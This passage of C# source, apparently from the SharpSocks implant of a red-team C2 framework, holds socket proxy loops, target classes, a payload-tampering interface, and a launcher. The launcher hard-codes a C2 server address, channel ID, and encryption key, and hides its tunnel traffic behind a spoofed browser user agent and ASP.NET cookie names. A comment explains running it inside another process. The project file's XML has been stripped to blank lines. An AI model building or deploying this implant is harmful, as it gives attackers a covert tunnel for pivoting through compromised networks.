239 | if (null != trget)
240 | trget.Exit = true;
241 | ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}");
242 | }
243 | }
244 | }
245 | }
246 |
247 | static bool IsConnected(Socket client)
248 | {
249 | if (client.Connected)
250 | {
251 | if ((client.Poll(0, SelectMode.SelectWrite)) && (!client.Poll(0, SelectMode.SelectError)))
252 | return true;
253 | else
254 | return false;
255 | }
256 | else
257 | return false;
258 | }
259 | }
260 | }
261 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Target/CmdTarget.cs:
--------------------------------------------------------------------------------
1 | using SharpSocksImplant.Interfaces;
2 | using System;
3 | using System.Threading;
4 |
5 | namespace SharpSocksImplant.Classes.Target
6 | {
7 | public class CmdTarget : IExitableTarget
8 | {
9 | public String TargetId { get; set; }
10 | public bool Exit { get { return Token.IsCancellationRequested; } set { return; } }
11 | public CancellationToken Token { get; set; }
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/SocksLauncher/Classes/Target/TargetInfo.cs:
--------------------------------------------------------------------------------
1 | using SharpSocksImplant.Interfaces;
2 | using System;
3 | using System.Collections.Concurrent;
4 | using System.Collections.Generic;
5 | using System.Threading;
6 | using System.Threading.Tasks;
7 |
8 | namespace ImplantSide.Classes.Target
9 | {
10 | public class TargetInfo : IExitableTarget
11 | {
12 | public String TargetId { get; set; }
13 | public String TargetHost { get; set; }
14 | public UInt16 TargetPort { get; set; }
15 | public System.Net.Sockets.TcpClient TargetTcpClient { set; get; }
16 | int _exit = 0;
17 | public Action OnExit { get; set; }
18 | public bool Exit { get { return (_exit == 1); }
19 | set {
20 | var val = (value) ? 1 : 0;
21 | var result = Interlocked.CompareExchange(ref _exit, val, 0);
22 | if ((result == 0) && value && null != OnExit)
23 | OnExit.Invoke();
24 | }
25 | }
26 | public Task ProxyLoop { get; set; }
27 | public bool ConnectionAlive { get; set; }
28 | public ConcurrentQueue> ReadQueue { get; set; }
29 | public ConcurrentQueue> WriteQueue { get; set; }
30 |
31 | public TargetInfo()
32 | {
33 | ReadQueue = new ConcurrentQueue>();
34 | WriteQueue = new ConcurrentQueue>();
35 | }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/SocksLauncher/Interfaces/IExitableTarget.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace SharpSocksImplant.Interfaces
8 | {
9 | public interface IExitableTarget
10 | {
11 | String TargetId { get; set; }
12 | bool Exit { get; set; }
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/SocksLauncher/Interfaces/IImplantLog.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ImplantSide.Interfaces
4 | {
5 | public interface IImplantLog
6 | {
7 | void LogError(String errorMesg);
8 | void LogMessage(String mesg);
9 | bool FailError(String mesg, Guid ErrorCode);
10 | void BannerMesg(String mesg);
11 | void SetVerboseOn();
12 | void SetVerboseOff();
13 | bool IsVerboseOn();
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/SocksLauncher/Interfaces/IInternalErrorHandler.cs:
--------------------------------------------------------------------------------
1 | using System.Collections.Generic;
2 |
3 | namespace ImplantSide.Interfaces
4 | {
5 | public interface IInternalErrorHandler
6 | {
7 | void FailError(List errors);
8 | void FailError(string error);
9 | void LogError(List errors);
10 | void LogError(string error);
11 | }
12 | }
--------------------------------------------------------------------------------
/SocksLauncher/Interfaces/ISocksImplant.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 |
7 | namespace ImplantSide.Interfaces
8 | {
9 | public interface ISocksImplant
10 | {
11 |
12 |
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/SocksLauncher/Interfaces/ITamper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Reflection;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace ImplantSide.Interfaces
9 | {
10 | public interface ITamper
11 | {
12 | String TamperPayload(String payload);
13 | String TamperUri(Uri host, String payload);
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/SocksLauncher/Program.cs:
--------------------------------------------------------------------------------
1 | using ImplantSide.Classes.Helpers;
2 | using System.Collections.Generic;
3 | using System;
4 | using System.Security;
5 | using SocksProxy.Classes.Integration;
6 | using System.Reflection;
7 |
8 | namespace SocksLauncher
9 | {
10 | class Program
11 | {
12 | static LogToConsole comms = new LogToConsole();
13 | static void Main(string[] args)
14 | {
15 | String serverUri = "http://10.10.10.2:8081";
16 | String commandChannelId = "7f404221-9f30-470b-b05d-e1a922be3ff6";
17 | String payloadCookieName = "__RequestVerificationToken";
18 | String sessionCookieName = "ASP.NET_SessionId";
19 | String userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36";
20 | String dfHost = null;
21 | String key = "Y/z8YmjExk7fO+QQ68MxVAp9G+TT17hRTYx64A01YTo=";
22 | bool useProxy = false;
23 | bool userDefinedProxy = false; //System.Net.HttpWebRequest.GetSystemWebProxy()
24 |
25 | var result = Uri.TryCreate(serverUri, UriKind.Absolute, out Uri parsedServerUri);
26 | if (!result)
27 | Console.WriteLine($"Server URI {serverUri} is not valid");
28 |
29 | SecureString secKey = null;
30 | secKey = new SecureString();
31 | foreach (var n in key) secKey.AppendChar(n);
32 |
33 | var sock = PoshCreateProxy.CreateSocksController(parsedServerUri,
34 | commandChannelId,
35 | dfHost,
36 | userAgent,
37 | secKey,
38 | new List { "Upload" },
39 | sessionCookieName, payloadCookieName,
40 | (useProxy) ? ((userDefinedProxy) ? null : System.Net.HttpWebRequest.GetSystemWebProxy()) : null,
41 | 200,
42 | comms);
43 |
44 | sock.Start();
45 | //Comment this out to have it run inside a thread in a process. Uncomment it to have it run as a standalone binary.
46 | //Console.ReadLine();
47 |
48 | }
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/SocksLauncher/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SocksLauncher")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany(".")]
12 | [assembly: AssemblyProduct("SocksLauncher")]
13 | [assembly: AssemblyCopyright("Copyright © . 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("e07dbd34-b5e3-4951-93b2-baa913b87f8f")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/SocksLauncher/SocksLauncher.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {E07DBD34-B5E3-4951-93B2-BAA913B87F8F}
8 | Exe
9 | SocksLauncher
10 | SocksLauncher
11 | v4.0
12 | 512
13 | true
14 |
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | false
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | false
36 |
37 |
38 | true
39 | bin\x64\Debug\
40 | DEBUG;TRACE
41 | full
42 | x64
43 | prompt
44 | MinimumRecommendedRules.ruleset
45 | true
46 |
47 |
48 | bin\x64\Release\
49 | TRACE
50 | false
51 | pdbonly
52 | x64
53 | prompt
54 | MinimumRecommendedRules.ruleset
55 | true
56 | true
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | Component
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
--------------------------------------------------------------------------------